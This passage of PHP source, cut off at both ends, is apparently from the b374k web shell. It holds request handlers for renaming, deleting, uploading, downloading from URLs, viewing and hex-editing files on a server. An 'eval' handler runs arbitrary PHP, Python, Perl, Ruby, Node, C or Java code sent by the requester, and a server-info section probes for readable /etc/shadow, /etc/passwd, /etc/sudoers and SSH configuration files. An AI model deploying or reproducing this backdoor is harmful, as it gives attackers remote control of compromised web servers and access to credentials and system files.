		if(@is_dir($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "Directory ".$s_old." renamed to ".$s_new : "Unable to rename directory ".$s_old." to ".$s_new;
		elseif(@is_file($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "File ".$s_old." renamed to ".$s_new : "Unable to rename file ".$s_old." to ".$s_new;
		else $s_renmsg = "Cannot find the path specified ".$s_old;

		$s_result .= notif($s_renmsg);
		$s_fnew = $s_new;
	} // confirm delete
	elseif(!empty($_GP['del'])){
		$s_del = trim($_GP['del']);
		$s_result .= notif("Delete ".basename($s_del)." ? <a href='".$s_self."delete=".pl($s_del)."'>Yes</a> | <a href='".$s_self."'>No</a>");
	} // delete file
	elseif(!empty($_GP['delete'])){
		$s_f = $_GP['delete'];
		$s_delmsg = "";

		if(@is_file($s_f)) $s_delmsg = (unlink($s_f))? "File removed : ".$s_f : "Unable to remove file ".$s_f;
		elseif(@is_dir($s_f)){
			rmdirs($s_f);
			$s_delmsg = (@is_dir($s_f))? "Unable to remove directory ".$s_f : "Directory removed : ".$s_f;
		}
		else $s_delmsg = "Cannot find the path specified ".$s_f;
		$s_result .= notif($s_delmsg);
	} // create dir
	elseif(!empty($_GP['mkdir'])){
		$s_f = $s_cwd.$_GP['mkdir'];
		$s_dirmsg = "";

		$s_num = 1;
		if(@is_dir($s_f)){
			$s_pos = strrpos($s_f,"_");
			if($s_pos!==false) $s_num = (int) substr($s_f, $s_pos+1);
			while(@is_dir(substr($s_f, 0, $s_pos)."_".$s_num)){
				$s_num++;
			}
			$s_f = substr($s_f, 0, $s_pos)."_".$s_num;
		}
		if(mkdir($s_f)) $s_dirmsg = "Directory created ".$s_f;
		else $s_dirmsg = "Unable to create directory ".$s_f;

		$s_result .= notif($s_dirmsg);
	} // php eval() function
	if(isset($_GP['x']) && ($_GP['x']=='eval')){
		$s_code = "";
		$s_res = "";
		$s_evaloption = "";
		$s_lang = "php";

		if(isset($_GP['evalcode'])){
			$s_code = $_GP['evalcode'];
			$s_evaloption = (isset($_GP['evaloption']))? $_GP['evaloption']:"";
			$s_tmpdir = get_writabledir();

			if(isset($_GP['lang'])){$s_lang = $_GP['lang'];}

			if(strtolower($s_lang)=='php'){
				ob_start();
				eval($s_code);
				$s_res = ob_get_contents();
				ob_end_clean();
			}
			elseif(strtolower($s_lang)=='python'||strtolower($s_lang)=='perl'||strtolower($s_lang)=='ruby'||strtolower($s_lang)=='node'||strtolower($s_lang)=='nodejs'){
				$s_rand = md5(time().rand(0,100));
				$s_script = $s_tmpdir.$s_rand;
				if(file_put_contents($s_script, $s_code)!==false){
					$s_res = exe($s_lang." ".$s_evaloption." ".$s_script);
					unlink($s_script);
				}
			}
			elseif(strtolower($s_lang)=='gcc'){
				$s_script = md5(time().rand(0,100));
				chdir($s_tmpdir);
				if(file_put_contents($s_script.".c", $s_code)!==false){
					$s_scriptout = $s_win ? $s_script.".exe" : $s_script;
					$s_res = exe("gcc ".$s_script.".c -o ".$s_scriptout.$s_evaloption);
					if(@is_file($s_scriptout)){
						$s_res = $s_win ? exe($s_scriptout):exe("chmod +x ".$s_scriptout." ; ./".$s_scriptout);
						rename($s_scriptout, $s_scriptout."del");
						unlink($s_scriptout."del");
					}
					unlink($s_script.".c");
				}
				chdir($s_cwd);
			}
			elseif(strtolower($s_lang)=='java'){
				if(preg_match("/class\ ([^{]+){/i",$s_code, $s_r)){
					$s_classname = trim($s_r[1]);
					$s_script = $s_classname;
				}
				else{
					$s_rand = "b374k_".substr(md5(time().rand(0,100)),0,8);
					$s_script = $s_rand;
					$s_code = "class ".$s_rand." { ".$s_code . " } ";
				}
				chdir($s_tmpdir);
				if(file_put_contents($s_script.".java", $s_code)!==false){
					$s_res = exe("javac ".$s_script.".java");
					if(@is_file($s_script.".class")){
						$s_res .= exe("java ".$s_evaloption." ".$s_script);
						unlink($s_script.".class");
					}
					unlink($s_script.".java");
				}
				chdir($s_pwd);
			}
		}

		$s_lang_available = "<option value='php'>php</option>";
		$s_selected = "";
		$s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_javac");
		foreach($s_access as $s){
			if(isset($$s)){
				$s_t = explode("_", $s);
				$s_checked = ($s_lang == $s_t[1])? "selected" : "";
				$s_lang_available .= "<option value='".$s_t[1]."' ".$s_checked.">".$s_t[1]."</option>";
			}
		}

		$s_evaloptionclass = ($s_lang=="php")? "sembunyi":"";
		$s_e_result = (!empty($s_res))? "<pre id='evalres' class='bt' style='margin:4px 0 0 0;padding:6px 0;' >".hss($s_res)."</pre>":"";
		$s_result .= "<form action='".$s_self."' method='post'>
					<textarea id='evalcode' name='evalcode' style='height:150px;' class='txtarea'>".hss($s_code)."</textarea>
					<table><tr><td style='padding:0;'><p><input type='submit' name='evalcodesubmit' class='inputzbut' value='Go !' style='width:120px;height:30px;' /></p>
					</td><td><select name='lang' onchange='evalselect(this);' class='inputzbut' style='width:120px;height:30px;padding:4px;'>
					".$s_lang_available."
					</select>
					</td>
					<td><div title='If you want to give additional option to interpreter or compiler, give it here' id='additionaloption' class='".$s_evaloptionclass."'>Additional option&nbsp;&nbsp;<input class='inputz' style='width:400px;' type='text' name='evaloption' value='".hss($s_evaloption)."' id='evaloption' /></div></td>
					</tr>
					</table>
					".$s_e_result."
					<input type='hidden' name='x' value='eval' />
					</form>";
	} // find
	elseif(isset($_GP['find'])){
		$s_p = $_GP['find'];

		$s_type = isset($_GP['type'])? $_GP['type'] : "sfile";
		$s_sfname = (!empty($_GP['sfname']))? $_GP['sfname']:'';
		$s_sdname = (!empty($_GP['sdname']))? $_GP['sdname']:'';
		$s_sfcontain = (!empty($_GP['sfcontain']))? $_GP['sfcontain']:'';

		$s_sfnameregexchecked = $s_sfnameicasechecked = $s_sdnameregexchecked = $s_sdnameicasechecked = $s_sfcontainregexchecked = $s_sfcontainicasechecked = $s_swritablechecked = $s_sreadablechecked = $s_sexecutablechecked = "";
		$s_sfnameregex = $s_sfnameicase = $s_sdnameregex = $s_sdnameicase = $s_sfcontainregex = $s_sfcontainicase = $s_swritable = $s_sreadable = $s_sexecutable = false;

		if(isset($_GP['sfnameregex'])){ $s_sfnameregex=true; $s_sfnameregexchecked="checked"; }
		if(isset($_GP['sfnameicase'])){ $s_sfnameicase=true; $s_sfnameicasechecked="checked"; }
		if(isset($_GP['sdnameregex'])){ $s_sdnameregex=true; $s_sdnameregexchecked="checked"; }
		if(isset($_GP['sdnameicase'])){ $s_sdnameicase=true; $s_sdnameicasechecked="checked"; }
		if(isset($_GP['sfcontainregex'])){ $s_sfcontainregex=true; $s_sfcontainregexchecked="checked"; }
		if(isset($_GP['sfcontainicase'])){ $s_sfcontainicase=true; $s_sfcontainicasechecked="checked"; }
		if(isset($_GP['swritable'])){ $s_swritable=true; $s_swritablechecked="checked"; }
		if(isset($_GP['sreadable'])){ $s_sreadable=true; $s_sreadablechecked="checked"; }
		if(isset($_GP['sexecutable'])){ $s_sexecutable=true; $s_sexecutablechecked="checked"; }


		$s_sexecb = (function_exists("is_executable"))? "<input class='css-checkbox' type='checkbox' name='sexecutable' value='sexecutable' id='se' ".$s_sexecutablechecked." /><label class='css-label' for='se'>Executable</span>":"";

		$s_candidate = array();
		if(isset($_GP['sgo'])){
			$s_af = "";

			$s_candidate = getallfiles($s_p);
			if($s_type=='sfile') $s_candidate = @array_filter($s_candidate, "is_file");
			elseif($s_type=='sdir') $s_candidate = @array_filter($s_candidate, "is_dir");

			foreach($s_candidate as $s_a){
				if($s_type=='sdir'){
					if(!empty($s_sdname)){
						if($s_sdnameregex){
							if($s_sdnameicase){if(!preg_match("/".$s_sdname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
							else{if(!preg_match("/".$s_sdname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
						}
						else{
							if($s_sdnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sdname))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
							else{if(strpos(basename($s_a), $s_sdname)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
						}
					}
				}
				elseif($s_type=='sfile'){
					if(!empty($s_sfname)){
						if($s_sfnameregex){
							if($s_sfnameicase){if(!preg_match("/".$s_sfname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
							else{if(!preg_match("/".$s_sfname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
						}
						else{
							if($s_sfnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sfname))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
							else{if(strpos(basename($s_a), $s_sfname)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
						}
					}
					if(!empty($s_sfcontain)){
						$s_sffcontent = @fgc($s_a);
						if($s_sfcontainregex){
							if($s_sfcontainicase){if(!preg_match("/".$s_sfcontain."/i", $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));}
							else{if(!preg_match("/".$s_sfcontain."/",  $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));}
						}
						else{
							if($s_sfcontainicase){if(strpos(strtolower($s_sffcontent), strtolower($s_sfcontain))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
							else{if(strpos($s_sffcontent, $s_sfcontain)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
						}
					}
				}
			}
		}

		$s_f_result = ""; $s_link="";
		foreach($s_candidate as $s_c){
			$s_c = trim($s_c);
			if($s_swritable && !@is_writable($s_c)) continue;
			if($s_sreadable && !@is_readable($s_c)) continue;
			if($s_sexecutable && !@is_executable($s_c)) continue;

			if($s_type=="sfile") $s_link = $s_self."view=".pl($s_c);
			elseif($s_type=="sdir") $s_link = $s_self."view=".pl(cp($s_c));
			$s_f_result .= "<p class='notif' ondblclick=\"return go('".adds($s_link)."',event);\"><a href='".$s_link."'>".$s_c."</a></p>";
		}

		$s_tsdir = ($s_type=="sdir")? "selected":"";
		$s_tsfile = ($s_type=="sfile")? "selected":"";

		if(!@is_dir($s_p)) $s_result .= notif("Cannot find the path specified ".$s_p);

		$s_result .= "<form action='".$s_self."' method='post'>
		<div class='mybox'><h2>Find</h2>
		<table class='myboxtbl'>
		<tr><td style='width:140px;'>Search in</td>
		<td colspan='2'><input style='width:100%;' value='".hss($s_p)."' class='inputz' type='text' name='find' /></td></tr>
		<tr onclick=\"findtype('sdir');\">
			<td>Dirname contains</td>
			<td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sdname' value='".hss($s_sdname)."' /></td>
			<td>
				<input type='checkbox' class='css-checkbox' name='sdnameregex' id='sdn' ".$s_sdnameregexchecked." /><label class='css-label' for='sdn'>Regex (pcre)</label>
				<input type='checkbox' class='css-checkbox' name='sdnameicase' id='sdi' ".$s_sdnameicasechecked." /><label class='css-label' for='sdi'>Case Insensitive</label>
			</td>
		</tr>
		<tr onclick=\"findtype('sfile');\">
			<td>Filename contains</td>
			<td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfname' value='".hss($s_sfname)."' /></td>
			<td>
				<input type='checkbox' class='css-checkbox' name='sfnameregex'  id='sfn' ".$s_sfnameregexchecked." /><label class='css-label' for='sfn'>Regex (pcre)</label>
				<input type='checkbox' class='css-checkbox' name='sfnameicase'  id='sfi' ".$s_sfnameicasechecked." /><label class='css-label' for='sfi'>Case Insensitive</label>
			</td>
		</tr>
		<tr onclick=\"findtype('sfile');\">
			<td>File contains</td>
			<td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfcontain' value='".hss($s_sfcontain)."' /></td>
			<td>
				<input type='checkbox' class='css-checkbox' name='sfcontainregex' id='sff' ".$s_sfcontainregexchecked." /><label class='css-label' for='sff'>Regex (pcre)</label>
				<input type='checkbox' class='css-checkbox' name='sfcontainicase' id='sffi' ".$s_sfcontainicasechecked." /><label class='css-label' for='sffi'>Case Insensitive</label>
			</td>
		</tr>
		<tr>
			<td>Permissions</td>
			<td colspan='2'>
				<input type='checkbox' class='css-checkbox' name='swritable' id='sw' ".$s_swritablechecked." /><label class='css-label' for='sw'>Writable</label>
				<input type='checkbox' class='css-checkbox' name='sreadable' id='sr' ".$s_sreadablechecked." /><label class='css-label' for='sr'>Readable</label>
				".$s_sexecb."
			</td>
		</tr>
		<tr><td>
		<input type='submit' name='sgo' class='inputzbut' value='Search !' style='width:120px;height:30px;margin:0;' />
		</td>
		<td>
		<select name='type' id='type' class='inputzbut' style='width:120px;height:30px;margin:0;padding:4px;'>
			<option value='sfile' ".$s_tsfile.">Search file</option>
			<option value='sdir' ".$s_tsdir.">Search dir</option>
		</select>
		</td>
		<td></td></tr>
		</table>
		</div>
		</form>
		<div>
		".$s_f_result."
		</div>";
	} // upload
	elseif(isset($_GP['x']) && ($_GP['x']=='upload')){
		$s_result = " ";
		$s_msg = "";
		if(isset($_GP['uploadhd'])){
			$c = count($_FILES['filepath']['name']);
			for($i = 0; $i<$c; $i++){
				$s_fn = $_FILES['filepath']['name'][$i];
				if(empty($s_fn)) continue;
				if(is_uploaded_file($_FILES['filepath']['tmp_name'][$i])){
					$s_p = cp($_GP['savefolder'][$i]);
					if(!@is_dir($s_p)) mkdir($s_p);
					if(isset($_GP['savefilename'][$i]) && (trim($_GP['savefilename'][$i])!="")) $s_fn = $_GP['savefilename'][$i];
					$s_tm = $_FILES['filepath']['tmp_name'][$i];
					$s_pi = cp($s_p).$s_fn;
					$s_st = @move_uploaded_file($s_tm,$s_pi);
					if($s_st) $s_msg .= notif("File uploaded to <a href='".$s_self."view=".pl($s_pi)."'>".$s_pi."</a>");
					else $s_msg .= notif("Failed to upload ".$s_fn);
				}
				else $s_msg .= notif("Failed to upload ".$s_fn);
			}
		}
		elseif(isset($_GP['uploadurl'])){
			// function dlfile($s_url,$s_fpath)
			$c = count($_GP['fileurl']);
			for($i = 0; $i<$c; $i++){
				$s_fu = $_GP['fileurl'][$i];
				if(empty($s_fu)) continue;

				$s_p = cp($_GP['savefolderurl'][$i]);
				if(!@is_dir($s_p)) mkdir($s_p);

				$s_fn = basename($s_fu);
				if(isset($_GP['savefilenameurl'][$i]) && (trim($_GP['savefilenameurl'][$i])!="")) $s_fn = $_GP['savefilenameurl'][$i];
				$s_fp = cp($s_p).$s_fn;
				$s_st = dlfile($s_fu,$s_fp);
				if($s_st) $s_msg .= notif("File uploaded to <a href='".$s_self."view=".pl($s_fp)."'>".$s_fp."</a>");
				else $s_msg .= notif("Failed to upload ".$s_fn);
			}
		}
		else{
			if(!@is_writable($s_cwd)) $s_msg = notif("Directory ".$s_cwd." is not writable, please change to a writable one");
		}

		if(!empty($s_msg)) $s_result .= $s_msg;
		$s_result .= "
			<form action='".$s_self."' method='post' enctype='multipart/form-data'>
			<div class='mybox'><h2><div class='but' onclick='adduploadc();'>+</div>Upload from computer</h2>
			<table class='myboxtbl'>
			<tbody id='adduploadc'>
			<tr><td style='width:140px;'>File</td><td><input type='file' name='filepath[]' class='inputzbut' style='width:400px;margin:0;' /></td></tr>
			<tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolder[]' value='".hss($s_cwd)."' /></td></tr>
			<tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilename[]' value='' /></td></tr>
			</tbody>
			<tfoot>
			<tr><td>&nbsp;</td><td>
			<input type='submit' name='uploadhd' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
			<input type='hidden' name='x' value='upload' />
			</td></tr>
			</tfoot>
			</table>
			</div>
			</form>
			<form action='".$s_self."' method='post'>
			<div class='mybox'><h2><div class='but' onclick='adduploadi();'>+</div>Upload from internet</h2>
			<table class='myboxtbl'>
			<tbody id='adduploadi'>
			<tr><td style='width:150px;'>File URL</td><td><input style='width:100%;' class='inputz' type='text' name='fileurl[]' value='' />
			</td></tr>
			<tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolderurl[]' value='".hss($s_cwd)."' /></td></tr>
			<tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilenameurl[]' value='' /></td></tr>
			</tbody>
			<tfoot>
			<tr><td>&nbsp;</td><td>
			<input type='submit' name='uploadurl' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
			<input type='hidden' name='x' value='upload' />
			</td></tr>
			</table>
			</div>
			</form>";
	} // view file
	elseif(isset($_GP['view'])){
		$s_f = $_GP['view'];
		if(isset($s_fnew) && (trim($s_fnew)!="")) $s_f = $s_fnew;

		$s_owner = "";
		if(@is_file($s_f)){
			$targetdir = dirname($s_f);
			chdir($targetdir);
			$s_cwd = cp(getcwd());
			setcookie("cwd", $s_cwd ,time() + $s_login_time);

			if(!$s_win && $s_posix){
				$s_name = posix_getpwuid(fileowner($s_f));
				$s_group = posix_getgrgid(filegroup($s_f));
				$s_owner = "<tr><td>Owner</td><td>".$s_name['name']."<span class='gaya'>:</span>".$s_group['name']."</td></tr>";
			}
			$s_filn = basename($s_f);
			$s_result .= "<table class='viewfile' style='width:100%;'>
			<tr><td style='width:140px;'>Filename</td><td><span id='".cs($s_filn)."_link'>".$s_f."</span>
			<div id='".cs($s_filn)."_form' class='sembunyi'>
			<form action='".$s_self."' method='post'>
				<input type='hidden' name='oldname' value='".hss($s_f)."' style='margin:0;padding:0;' />
				<input type='hidden' name='view' value='".hss($s_f)."' />
				<input class='inputz' style='width:200px;' type='text' name='rename' value='".hss($s_f)."' />
				<input class='inputzbut' type='submit' value='rename' />
			</form>
			<input class='inputzbut' type='button' value='x' onclick=\"tukar_('".cs($s_filn)."_form','".cs($s_filn)."_link');\" />
			</div>
			</td></tr>
			<tr><td>Size</td><td>".gs($s_f)." (".@filesize($s_f).")</td></tr>
			<tr><td>Permission</td><td>".gp($s_f)."</td></tr>
			".$s_owner."
			<tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($s_f))."</td></tr>
			<tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($s_f))."</td></tr>
			<tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($s_f))."</td></tr>
			<tr><td>Actions</td><td>
			<a href='".$s_self."edit=".pl($s_f)."' title='edit'>edit</a> | <a href='".$s_self."hexedit=".pl($s_f)."' title='edit as hex'>hex</a> | <a href=\"javascript:tukar_('".cs($s_filn)."_link','".cs($s_filn)."_form');\" title='rename'>ren</a> | <a href='".$s_self."del=".pl($s_f)."' title='delete'>del</a> | <a href='".$s_self."dl=".pl($s_f)."'>dl</a>
			</td></tr>
			<tr><td>View</td><td>
			<a href='".$s_self."view=".pl($s_f)."&type=text"."'>text</a> | <a href='".$s_self."view=".pl($s_f)."&type=code"."'>code</a> | <a href='".$s_self."view=".pl($s_f)."&type=image"."'>image</a> | <a href='".$s_self."view=".pl($s_f)."&type=audio"."'>audio</a> | <a href='".$s_self."view=".pl($s_f)."&type=video"."'>video</a>
			</td></tr>
			</table>";

			$s_t = ""; $s_mime = "";
			$s_mime_list = gzinflate(base64_decode($s_mime_types));
			$s_ext_pos = strrpos($s_f, ".");
			if($s_ext_pos!==false){
				$s_ext = trim(substr($s_f, $s_ext_pos),".");
				if(preg_match("/([^\s]+)\ .*".$s_ext.".*/i",$s_mime_list,$s_r)){
					$s_mime = $s_r[1];
				}
			}

			$s_iinfo = @getimagesize($s_f);
			if(strtolower(substr($s_filn,-3,3)) == "php") $s_t = "code";
			elseif(is_array($s_iinfo)) $s_t = 'image';
			elseif(!empty($s_mime)) $s_t = substr($s_mime,0,strpos($s_mime,"/"));

			if(isset($_GP['type'])) $s_t = $_GP['type'];

			if($s_t=="image"){
				$s_width = (int) $s_iinfo[0];
				$s_height = (int) $s_iinfo[1];
				$s_imginfo = "Image type = ( ".$s_iinfo['mime']." )<br />
					Image Size = <span class='gaul'>( </span>".$s_width." x ".$s_height."<span class='gaul'> )</span><br />";
				if($s_width > 800){
					$s_width = 800;
					$s_imglink = "<p><a href='".$s_self."img=".pl($s_filn)."'>
					<span class='gaul'>[ </span>view full size<span class='gaul'> ]</span></a></p>";
				}
				else $s_imglink = "";

				$s_result .= "<div class='viewfilecontent' style='text-align:center;'>".$s_imglink."
					<img width='".$s_width."' src='".$s_self."img=".pl($s_filn)."' alt='".$s_filn."' style='margin:8px auto;padding:0;border:0;' /></div>";

			}
			elseif($s_t=="code"){
				$s_result .= "<div class=\"viewfilecontent\">";
				$s_file = wordwrap(@fgc($s_f),160,"
",true);
				$s_buff = highlight_string($s_file,true);
				$s_old = array("0000BB", "000000", "FF8000", "DD0000", "007700");
				$s_new = ($s_theme=="bright")? $s_highlight_bright:$s_highlight_dark;
				$s_buff = str_replace($s_old,$s_new, $s_buff);
				$s_result .= $s_buff;
				$s_result .=  "</div>";
			}
			elseif($s_t=="audio" || $s_t=="video"){
				$s_result .= "<div class='viewfilecontent' style='text-align:center;'>
							<".$s_t." controls>
							<source src='".hss($s_self."dltype=raw&dlpath=".$s_f)."' type='".$s_mime."'>
								<object data='".hss($s_self."dltype=raw&dlpath=".$s_f)."'>
									<embed src='".hss($s_self."dltype=raw&dlpath=".$s_f)."'>
								</object>
							</".$s_t.">
							</div>";
			}
			else {
				$s_result .= "<pre style='padding: 3px 8px 0 8px;' class='viewfilecontent'>";
				$s_result .=  str_replace("<", "&lt;",str_replace(">", "&gt;",(wordwrap(@fgc($s_f),160,"
",true))));
				$s_result .=   "</pre>";
			}
		}
		elseif(@is_dir($s_f)){
			chdir($s_f);
			$s_cwd = cp(getcwd());
			setcookie("cwd", $s_cwd ,time() + $s_login_time);
			$s_result .= showdir($s_cwd);
		}
		else $s_result .= notif("Cannot find the path specified ".$s_f);

	} // edit file
	elseif(isset($_GP['edit'])){
		$s_f = $_GP['edit'];
		$s_fc = ""; $s_fcs = "";

		if(isset($_GP['new']) && ($_GP['new']=='yes')){
			$s_num = 1;
			if(@is_file($s_f)){
				$s_pos = strrpos($s_f,"_");
				if($s_pos!==false) $s_num = (int) substr($s_f,$s_pos+1);
				while(@is_file(substr($s_f,0,$s_pos)."_".$s_num)){
					$s_num++;
				}
				$s_f = substr($s_f,0,$s_pos)."_".$s_num;
			}
		}
		else if(@is_file($s_f)) $s_fc = @fgc($s_f);

		if(isset($_GP['fc'])){
			$s_fc = $_GP['fc'];
			$s_eol = $_GP['eol'];
			$s_eolf = pack("H*", geol($s_fc));
			$s_eolh = pack("H*", $s_eol);
			$s_fc = str_replace($s_eolf, $s_eolh, $s_fc);

			if($s_filez = fopen($s_f,"w")){
				$s_time = @date("d-M-Y H:i:s",time());
				if(fwrite($s_filez,$s_fc)!==false) $s_fcs = "File saved @ ".$s_time;
				else $s_fcs = "Failed to save";
				fclose($s_filez);
			}
			else $s_fcs = "Permission denied";
		}
		elseif(@is_file($s_f) && !@is_writable($s_f)) $s_fcs = "This file is not writable";

		$s_eol = geol($s_fc);

		if(!empty($s_fcs)) $s_result .= notif($s_fcs);
		$s_result .= "<form action='".$s_self."' method='post'>
				<textarea id='fc' name='fc' class='txtarea'>".hss($s_fc)."</textarea>
				<p style='text-align:center;'><input type='text' class='inputz' style='width:99%;' name='edit' value='".hss($s_f)."' /></p>
				<p><input type='submit' class='inputzbut' value='Save !' style='width:120px;height:30px;' /></p>
				<input type='hidden' name='eol' value='".$s_eol."' />
				</form>";

	} // hex edit file
	elseif(isset($_GP['hexedit'])){
		$s_f = $_GP['hexedit'];
		$s_fc = "";	$s_fcs = ""; $s_hexes = "";
		$s_lnum = 0;

		if(!empty($_GP['hx']) || !empty($_GP['hxt'])){
			if(!empty($_GP['hx'])){
				foreach($_GP['hx'] as $s_hex) $s_hexes .= str_replace(" ", "", $s_hex);
			}
			elseif(!empty($_GP['hxt'])){
				$s_hexes = trim($_GP['hxt']);
			}
			if($s_filez = fopen($s_f,"w")){
					$s_bins = pack("H*", $s_hexes);
					$s_time = @date("d-M-Y H:i:s", time());
					if(fwrite($s_filez,$s_bins)!==false) $s_fcs = "File saved @ ".$s_time;
					else $s_fcs = "Failed to save";
					fclose($s_filez);
				}
			else $s_fcs = "Permission denied";
		}
		else if(@is_file($s_f) && !@is_writable($s_f)) $s_fcs = "This file is not writable";

		if(!empty($s_fcs)) $s_result .= notif($s_fcs);

		$s_result .= "<form action='".$s_self."' method='post'><p class='ce mp'><input type='text' class='inputz' style='width:100%;' name='hexedit' value='".hss($s_f)."' /></p><p class='bb' style='padding:0 0 14px 0;'><input type='submit' class='inputzbut' value='Save !' style='width:120px;height:30px;' onclick=\"return sh();\" /></p><table class='explore'>";

		if(@is_file($s_f)){
			$s_fp = fopen($s_f, "r");
			if($s_fp) {
				$s_ldump = "";
				$s_counter = 0;
				$s_icounter = 0;
				while(!feof($s_fp)){
					$s_line = fread($s_fp, 32);
					$s_linehex = strtoupper(bin2hex($s_line));
					$s_linex = str_split($s_linehex, 2);
					$s_linehex = implode(" ", $s_linex);
					$s_addr = sprintf("xh", $s_icounter);

					$s_result .= "<tr><td class='ce w60'>".$s_addr."</td><td class='le w594'><input onselect='this.selectionEnd=this.selectionStart;' onclick=\"hu('".$s_counter."',event);\" onkeydown=\"return hf('".$s_counter."',event);\" onkeyup=\"hu('".$s_counter."',event);\" type='text' class='inputz w578' id='hex_".$s_counter."' name='hx[]' value='".$s_linehex."'  maxlength='".strlen($s_linehex)."' /></td><td class='le ls2'><pre name='hexdump' id='dump_".$s_counter."' class='mp'></pre></td></tr>";
					$s_counter++;
					$s_icounter+=32;
				}
				$s_result .= "<input type='hidden' id='counter' value='".$s_counter."' />";
				$s_result .= "<textarea name='hxt' id='hxt' class='sembunyi'></textarea>";
				fclose($s_fp);
			}
		}
		$s_result .= "</table></form>";

	} // show server information
	elseif(isset($_GP['x']) && ($_GP['x']=='info')){
		$s_result = "";
		// server misc info
		$s_result .= "<p class='notif' onclick=\"toggle('info_server')\">Server Info</p>";
		$s_result .= "<div class='info' id='info_server'><table>";

		if($s_win){
			foreach (range("A", "Z") as $s_letter){
				if((@is_dir($s_letter.":\") && @is_readable($s_letter.":\"))){
					$s_drive = $s_letter.":";
					$s_result .= "<tr><td>drive ".$s_drive."</td><td>".ts(disk_free_space($s_drive))." free of ".ts(disk_total_space($s_drive))."</td></tr>";
				}
			}
		}
		else $s_result .= "<tr><td>root partition</td><td>".ts(@disk_free_space("/"))." free of ".ts(@disk_total_space("/"))."</td></tr>";

		$s_result .= "<tr><td>php</td><td>".phpversion()."</td></tr>";
		$s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_java", "s_javac", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl");
		foreach($s_access as $s){
			$s_t = explode("_", $s);
			if(isset($$s)) $s_result .= "<tr><td>".$s_t[1]."</td><td>".$$s."</td></tr>";
		}

		if(!$s_win){
			$s_interesting = array(
			"/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
			"/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
			"/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
			"/etc/ssh/sshd_config",
			"/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
			"/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
			"/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
			foreach($s_interesting as $s_f){
				if(@is_file($s_f) && @is_readable($s_f)) $s_result .= "<tr><td>".$s_f."</td><td><a href='".$s_self."view=".pl($s_f)."'>".$s_f." is readable</a></td></tr>";
			}
		}
		$s_result .= "</table></div>";

		if(!$s_win){
			// cpu info
			if($s_i_buff=trim(@fgc("/proc/cpuinfo"))){
				$s_result .= "<p class='notif' onclick=\"toggle('info_cpu')\">CPU Info</p>";
				$s_result .= "<div class='info' id='info_cpu'>";
				$s_i_buffs = explode("

", $s_i_buff);
				foreach($s_i_buffs as $s_i_buffss){
					$s_i_buffss = trim($s_i_buffss);
					if($s_i_buffss!=""){
						$s_i_buffsss = explode("
", $s_i_buffss);
						$s_result .= "<table>";
						foreach($s_i_buffsss as $s_i){
							$s_i = trim($s_i);
							if($s_i!=""){
								$s_ii = explode(":",$s_i);
								if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>";
							}
						}
						$s_result .= "</table>";
					}
				}
				$s_result .= "</div>";
			}

			// mem info
			if($s_i_buff=trim(@fgc("/proc/meminfo"))){
				$s_result .= "<p class='notif' onclick=\"toggle('info_mem')\">Memory Info</p>";
				$s_i_buffs = explode("
", $s_i_buff);
				$s_result .= "<div class='info' id='info_mem'><table>";
				foreach($s_i_buffs as $s_i){
					$s_i = trim($s_i);
					if($s_i!=""){
						$s_ii = explode(":",$s_i);
						if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>";
					}
					else $s_result .= "</table><table>";
				}
				$s_result .= "</table></div>";
			}

			// partition
			if($s_i_buff=trim(@fgc("/proc/partitions"))){
				$s_i_buff = preg_replace("/\ +/", " ", $s_i_buff);
				$s_result .= "<p class='notif' onclick=\"toggle('info_part')\">Partitions Info</p>";
				$s_result .= "<div class='info' id='info_part'>";
				$s_i_buffs = explode("

", $s_i_buff);
				$s_result .= "<table><tr>";
